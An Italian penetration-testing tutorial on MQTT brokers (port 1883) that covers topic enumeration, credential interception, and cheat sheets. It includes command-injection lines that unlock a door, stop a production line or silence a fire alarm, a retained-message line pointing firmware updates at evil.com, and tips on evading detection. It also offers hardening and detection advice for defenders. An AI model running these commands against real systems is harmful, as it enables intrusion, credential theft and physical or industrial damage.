Porta 1883 MQTT: Pentest, Topic Enumeration e Injection

Executive Summary — La porta 1883 espone il protocollo MQTT (Message Queuing Telemetry Transport), lo standard de facto per la comunicazione IoT. MQTT è un protocollo publish/subscribe leggero usato da sensori, attuatori, domotica, sistemi industriali (SCADA/ICS), veicoli connessi e applicazioni M2M. Un broker MQTT mal configurato permette a chiunque di sottoscrivere tutti i topic (leggere ogni messaggio) e pubblicare comandi — controllando potenzialmente dispositivi fisici. La superficie di attacco è enorme: dalla lettura di dati sensibili (GPS, salute, consumi) all’iniezione di comandi su attuatori industriali.

Cos’è la porta 1883 (MQTT)

MQTT sulla 1883 è quasi sempre senza TLS — traffico in chiaro con credenziali, dati sensori e comandi
Il wildcard subscribe (#) su broker senza autenticazione rivela TUTTI i messaggi in transito — dati, comandi, stato dispositivi
La pubblicazione su topic di comando (/cmd, /set, /actuator) può controllare dispositivi fisici: serrature, valvole, motori

La porta 1883 è la porta TCP utilizzata dal protocollo MQTT in chiaro (senza cifratura). MQTT è un protocollo leggero publish/subscribe usato nei sistemi IoT per comunicare tra dispositivi e broker. Se il broker è mal configurato, un attaccante può leggere i dati scambiati, intercettare credenziali e inviare comandi ai dispositivi connessi. Nel pentesting, la 1883 rappresenta un punto critico per information disclosure, command injection e controllo remoto dei dispositivi.

1. Anatomia Tecnica della Porta 1883 #

Porta	Protocollo	TLS	Uso
1883/TCP	MQTT	No	IoT, sensori, domotica
8883/TCP	MQTTS	Sì	MQTT cifrato
9001/TCP	MQTT over WebSocket	Opzionale	Browser-based MQTT

Il modello MQTT è publish/subscribe:

Broker: server centrale che gestisce i messaggi (Mosquitto, HiveMQ, EMQX)
Publisher: dispositivo che invia dati (sensore temperatura, GPS tracker)
Subscriber: dispositivo/app che riceve dati (dashboard, controller)
Topic: canale logico gerarchico (es: casa/soggiorno/temperatura)

Il flusso:

Client si connette al broker (1883) — opzionalmente con username/password
Client si sottoscrive a uno o più topic
Quando un publisher invia un messaggio su quel topic, il broker lo inoltra a tutti i subscriber
I topic sono gerarchici: azienda/piano1/stanza3/sensore_temp
Wildcard: # (tutti i sotto-topic), + (un livello)

text

Misconfig: Broker MQTT senza autenticazione
Impatto: chiunque si connette e sottoscrive a tutti i topic — legge ogni messaggio
Come si verifica: mosquitto_sub -h [target] -t '#' — se funziona, è aperto

text

Misconfig: Nessuna ACL sui topic
Impatto: qualsiasi client può pubblicare su qualsiasi topic — inclusi topic di comando
Come si verifica: mosquitto_pub -h [target] -t 'test/pentest' -m 'test' — se accettato, no ACL

text

Misconfig: Credenziali in chiaro nei messaggi MQTT
Impatto: intercettazione di password, token API, chiavi — tutto leggibile
Come si verifica: mosquitto_sub -h [target] -t '#' -v | grep -i "pass\|token\|key\|secret"

2. Enumerazione Base #

Comando 1: Nmap #

bash

nmap -sV -sC -p 1883 10.10.10.100

Output atteso:

text

PORT     STATE SERVICE                 VERSION
1883/tcp open  mosquitto version 2.0.18
| mqtt-subscribe:
|   Topics and samples:
|     home/temperature: 22.5
|     home/humidity: 65
|_    factory/line1/status: running

Cosa ci dice questo output: broker Mosquitto 2.0.18 senza autenticazione. Lo script nmap ha già sottoscritto e ricevuto messaggi — dati di temperatura domestica e stato di una linea di produzione industriale.

bash

mosquitto_sub -h 10.10.10.100 -t '#' -v

Output (stream continuo):

text

home/soggiorno/temperatura 22.5
home/soggiorno/umidita 65
home/porta/stato aperta
factory/line1/speed 1200
factory/line1/temp 85.3
factory/line1/alarm/fire false
vehicle/truck01/gps 41.9028,12.4964
vehicle/truck01/speed 72
iot/sensor42/battery 23
user/admin/config {"api_key":"sk-a1b2c3d4","endpoint":"https://api.corp.local"}

Lettura dell’output: il wildcard # rivela tutto il traffico MQTT. Dati domestici (temperatura, porta aperta), industriali (velocità linea, temperatura, allarmi), GPS veicoli, livello batteria sensori. Il topic user/admin/config espone una API key — finding critico. Per l’accesso ai sistemi interni, quella API key potrebbe aprire l’endpoint.

3. Enumerazione Avanzata #

Topic discovery sistematica #

bash

# Sottoscrivi e logga per 5 minuti
timeout 300 mosquitto_sub -h 10.10.10.100 -t '#' -v > /tmp/mqtt_dump.txt

# Analizza i topic unici
awk '{print $1}' /tmp/mqtt_dump.txt | sort -u

Output:

text

$SYS/broker/clients/connected
$SYS/broker/messages/received
$SYS/broker/uptime
factory/line1/alarm/fire
factory/line1/cmd/speed_set
factory/line1/speed
factory/line1/temp
home/porta/cmd
home/porta/stato
home/soggiorno/temperatura
user/admin/config
vehicle/truck01/gps

Lettura dell’output: i topic $SYS/ sono metadati del broker — numero di client connessi, messaggi, uptime. I topic cmd e speed_set sono topic di comando — dove si inviano istruzioni ai dispositivi. factory/line1/cmd/speed_set controlla la velocità della linea di produzione.

Informazioni dal topic $SYS #

bash

mosquitto_sub -h 10.10.10.100 -t '$SYS/#' -v

Output:

text

$SYS/broker/version mosquitto version 2.0.18
$SYS/broker/uptime 432000 seconds
$SYS/broker/clients/connected 47
$SYS/broker/clients/total 52
$SYS/broker/messages/received 1250000
$SYS/broker/load/messages/received/1min 42.5

Lettura dell’output: 47 dispositivi connessi, broker attivo da 5 giorni, 1.25 milioni di messaggi. Le informazioni $SYS sono una mappa completa dell’infrastruttura IoT.

Test autenticazione #

bash

# Senza credenziali
mosquitto_sub -h 10.10.10.100 -t '#'

# Con credenziali default
mosquitto_sub -h 10.10.10.100 -t '#' -u admin -P password
mosquitto_sub -h 10.10.10.100 -t '#' -u mqtt -P mqtt
mosquitto_sub -h 10.10.10.100 -t '#' -u guest -P guest

4. Tecniche Offensive #

Message injection — comandi ai dispositivi

Contesto: hai identificato topic di comando. Inietta comandi.

bash

# Cambia velocità linea di produzione
mosquitto_pub -h 10.10.10.100 -t 'factory/line1/cmd/speed_set' -m '0'

# Apri la porta di casa
mosquitto_pub -h 10.10.10.100 -t 'home/porta/cmd' -m 'open'

# Disattiva allarme
mosquitto_pub -h 10.10.10.100 -t 'factory/line1/alarm/fire' -m 'false'

Cosa fai dopo: l’iniezione di comandi su dispositivi fisici è il finding più critico in un assessment IoT. Documenta l’impatto: fermare una linea di produzione, aprire serrature, disattivare allarmi. In un pentest, non eseguire comandi distruttivi — dimostra la possibilità con comandi innocui (es: pubblica su un topic di test).

Credential interception

Contesto: monitora il traffico MQTT per credenziali in chiaro.

bash

mosquitto_sub -h 10.10.10.100 -t '#' -v | grep -iE "pass|token|key|secret|auth|credential|api"

Output:

text

device/sensor01/config {"wifi_pass":"HomeWifi2026!","api_token":"eyJhbGciOi..."}
iot/gateway/auth {"username":"admin","password":"IoTAdmin2026!"}

Cosa fai dopo: password Wi-Fi e credenziali admin del gateway IoT trovate. Le credenziali del gateway permettono accesso all’infrastruttura IoT.

Retained message poisoning

Contesto: MQTT supporta messaggi “retained” — l’ultimo messaggio su un topic viene inviato automaticamente a ogni nuovo subscriber.

bash

# Pubblica un messaggio retained malevolo
mosquitto_pub -h 10.10.10.100 -t 'config/firmware_url' -m 'http://evil.com/malware.bin' -r

Cosa fai dopo: ogni nuovo dispositivo che si sottoscrive a config/firmware_url riceve il tuo URL — potenziale supply chain attack se il dispositivo scarica automaticamente firmware da quel topic.

Will message abuse

MQTT supporta “Last Will and Testament” (LWT) — un messaggio inviato automaticamente quando un client si disconnette.

bash

# Connetti con un will message che impersona un allarme
mosquitto_sub -h 10.10.10.100 -t 'test' \
  --will-topic 'factory/line1/alarm/fire' \
  --will-payload 'true' \
  --will-retain
# Disconnetti → il broker pubblica automaticamente l'allarme incendio

5. Scenari Pratici di Pentest #

Scenario 1: Smart building con MQTT esposto #

Step 1:

bash

nmap -sV -p 1883,8883,9001 10.10.10.100

Step 2:

bash

mosquitto_sub -h 10.10.10.100 -t '#' -v | head -100

Step 3:

bash

# Identifica topic di comando
grep "cmd\|set\|control\|actuator" /tmp/mqtt_topics.txt

Step 4:

bash

# Pubblica su topic di test (non distruttivo)
mosquitto_pub -h 10.10.10.100 -t 'building/test/pentest' -m 'test_message'

Tempo stimato: 10-20 minuti

Scenario 2: SCADA/ICS con MQTT #

Step 1: identifica il broker MQTT nella rete OT

Step 2:

bash

mosquitto_sub -h 10.10.10.100 -t '#' -v > /tmp/scada_dump.txt

Step 3:

bash

# Analizza: cerca topic PLC, SCADA, allarmi
grep -iE "plc|scada|alarm|valve|pump|motor" /tmp/scada_dump.txt

⚠️ In ambiente SCADA: NON pubblicare MAI su topic di comando. Solo osservazione.

Tempo stimato: 15-30 minuti (solo osservazione)

Scenario 3: MQTT broker su Internet (Shodan) #

Step 1: il broker è esposto su Internet sulla porta 1883

Step 2:

bash

mosquitto_sub -h [target_ip] -t '#' -v | head -50

Se fallisce:

Causa: autenticazione richiesta
Fix: prova credenziali default (admin/password, mqtt/mqtt, guest/guest)

Tempo stimato: 2-10 minuti

6. Attack Chain Completa #

Fase	Tool	Comando	Risultato
Recon	nmap	`nmap -sV -p 1883,8883`	Broker MQTT
Auth test	mosquitto_sub	`mosquitto_sub -t '#'` (no creds)	Accesso anonimo
Topic enum	mosquitto_sub	`mosquitto_sub -t '#' -v`	Tutti i topic
$SYS info	mosquitto_sub	`-t '$SYS/#'`	Metadati broker
Cred intercept	grep	`grep -i pass mqtt_dump.txt`	Credenziali
Cmd injection	mosquitto_pub	`mosquitto_pub -t '[cmd_topic]' -m '[cmd]'`	Controllo device
Retained poison	mosquitto_pub	`-r` flag su topic config	Persistenza

7. Detection & Evasion #

Blue Team #

Broker log: connessioni, subscribe, publish — Mosquitto logga tutto se configurato
Anomaly: subscribe a # da IP sconosciuti, publish su topic cmd non autorizzati
IDS: MQTT è in chiaro sulla 1883 — il payload è leggibile

Evasion #

text

Tecnica: Subscribe a topic specifici invece di #
Come: sottoscriviti solo ai topic che ti interessano — non al wildcard globale
Riduzione rumore: un subscribe mirato sembra un dispositivo legittimo

text

Tecnica: Usa Client ID che imita un dispositivo reale
Come: mosquitto_sub --id "sensor_temp_042" — impersona un sensore
Riduzione rumore: il client ID appare legittimo nei log

8. Toolchain e Confronto #

Tool	Funzione	Note
mosquitto_sub/pub	Subscribe/publish CLI	Tool standard, essenziale
MQTT Explorer	GUI per browse topic	Ottimo per esplorazione visuale
mqtt-pwn	Framework pentest MQTT	Brute force, fuzzing, discovery
Paho MQTT	Libreria Python	Script custom per automazione
mqttsa	Security assessment	Audit automatizzato

9. Troubleshooting #

Errore	Causa	Fix
`Connection refused`	Broker non sulla 1883 o firewall	Prova 8883 (TLS), 9001 (WebSocket)
`Not authorized`	Autenticazione richiesta	Prova credenziali default, brute force
Nessun messaggio su `#`	ACL restringe il subscribe wildcard	Sottoscriviti a topic specifici (indovina la struttura)
`Protocol error`	Versione MQTT incompatibile	Specifica `-V mqttv311` o `-V mqttv5`
mosquitto_pub `rejected`	ACL blocca publish	Verifica quali topic accettano publish

10. FAQ #

D: MQTT sulla 1883 è sempre in chiaro? R: Sì. La porta 1883 è MQTT senza TLS. La variante cifrata (MQTTS) usa la porta 8883. Molte installazioni IoT usano solo la 1883 per semplicità.

D: Qual è il rischio reale del controllo dispositivi via MQTT? R: Dipende dal dispositivo: domotica (serrature, luci) → impatto fisico diretto. SCADA (valvole, motori) → impatto industriale potenzialmente catastrofico. IoT consumer (sensori) → privacy e data leak.

D: Come proteggere MQTT? R: Autenticazione obbligatoria. ACL per topic (chi può leggere/scrivere cosa). TLS sulla porta 8883. Non esporre il broker su Internet. Monitora subscribe wildcard.

11. Cheat Sheet Finale #

Azione	Comando
Scan	`nmap -sV -p 1883,8883,9001 [target]`
Subscribe all	`mosquitto_sub -h [target] -t '#' -v`
$SYS info	`mosquitto_sub -h [target] -t '$SYS/#' -v`
Auth test	`mosquitto_sub -h [target] -t '#' -u admin -P password`
Publish test	`mosquitto_pub -h [target] -t 'test/pentest' -m 'test'`
Dump to file	`timeout 300 mosquitto_sub -h [target] -t '#' -v > dump.txt`
Topic list	`awk '{print $1}' dump.txt \| sort -u`
Cred search	`grep -iE "pass\|token\|key\|secret" dump.txt`
Retained msg	`mosquitto_pub -h [target] -t 'topic' -m 'msg' -r`
Fake client	`mosquitto_sub -h [target] --id "sensor_042" -t 'factory/#'`

Perché Porta 1883 è rilevante nel 2026 #

L’IoT è esploso: miliardi di dispositivi connessi via MQTT. Smart building, smart city, SCADA, domotica, veicoli connessi — tutti usano MQTT. I broker senza autenticazione sono ancora comuni (Shodan ne trova migliaia esposti su Internet). L’impatto va dalla privacy (GPS, salute) al danno fisico (SCADA, serrature, allarmi).

Hardening #

Autenticazione obbligatoria per tutti i client
ACL granulari: ogni dispositivo può leggere/scrivere solo i suoi topic
TLS su porta 8883 — disabilita 1883
Non esporre il broker su Internet
Monitora subscribe # e publish su topic di comando
Client certificate per dispositivi critici

OPSEC #

MQTT in chiaro sulla 1883 è completamente visibile a IDS. Usa un Client ID che mimetizza un dispositivo reale. Subscribe a topic specifici, non wildcard. Il publish su topic di comando è l’azione più visibile — fallo solo su topic di test in un pentest.

Riferimento: MQTT v5.0 Specification, OWASP IoT Top 10. Uso esclusivo in ambienti autorizzati.

hackita.it/supporto — hackita.it/servizi.

Porta 1883 MQTT: Pentest, Topic Enumeration e Injection

1. Anatomia Tecnica della Porta 1883 #

2. Enumerazione Base #

Comando 1: Nmap #

3. Enumerazione Avanzata #

Topic discovery sistematica #

Informazioni dal topic $SYS #

Test autenticazione #

4. Tecniche Offensive #

5. Scenari Pratici di Pentest #

Scenario 1: Smart building con MQTT esposto #

Scenario 2: SCADA/ICS con MQTT #

Scenario 3: MQTT broker su Internet (Shodan) #

6. Attack Chain Completa #

7. Detection & Evasion #

Blue Team #

Evasion #

8. Toolchain e Confronto #

9. Troubleshooting #

10. FAQ #

11. Cheat Sheet Finale #

Perché Porta 1883 è rilevante nel 2026 #

Hardening #

OPSEC #

Relate Articles

Port 1991 cPanel e WHM: Pentest, Enumerazione e Hardening

Porta 1434 MSSQL: SQL Server Browser e Discovery Istanze

Porta 1604 Citrix ICA: ICA Browser, App Pubblicate e StoreFront

Porta 1723 PPTP: MS-CHAPv2 e Credenziali VPN

Porta 1812 RADIUS: Shared Secret, EAP e Accesso alla Rete

Porta 1813 RADIUS Accounting: Sessioni, IP Assegnati e RADIUS 1812

Porta 1900 SSDP/UPnP: Pentest, Port Mapping e SSRF

1. Anatomia Tecnica della Porta 1883 #

2. Enumerazione Base #

Comando 1: Nmap #

Comando 2: Connessione e wildcard subscribe #

3. Enumerazione Avanzata #

Topic discovery sistematica #

Informazioni dal topic $SYS #

Test autenticazione #

4. Tecniche Offensive #

5. Scenari Pratici di Pentest #

Scenario 1: Smart building con MQTT esposto #

Scenario 2: SCADA/ICS con MQTT #

Scenario 3: MQTT broker su Internet (Shodan) #

6. Attack Chain Completa #

7. Detection & Evasion #

Blue Team #

Evasion #

8. Toolchain e Confronto #

9. Troubleshooting #

10. FAQ #

11. Cheat Sheet Finale #

Perché Porta 1883 è rilevante nel 2026 #

Hardening #

OPSEC #

Relate Articles

Port 1991 cPanel e WHM: Pentest, Enumerazione e Hardening

Porta 1434 MSSQL: SQL Server Browser e Discovery Istanze

Porta 1604 Citrix ICA: ICA Browser, App Pubblicate e StoreFront

Porta 1723 PPTP: MS-CHAPv2 e Credenziali VPN

Porta 1812 RADIUS: Shared Secret, EAP e Accesso alla Rete

Porta 1813 RADIUS Accounting: Sessioni, IP Assegnati e RADIUS 1812

Porta 1900 SSDP/UPnP: Pentest, Port Mapping e SSRF

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.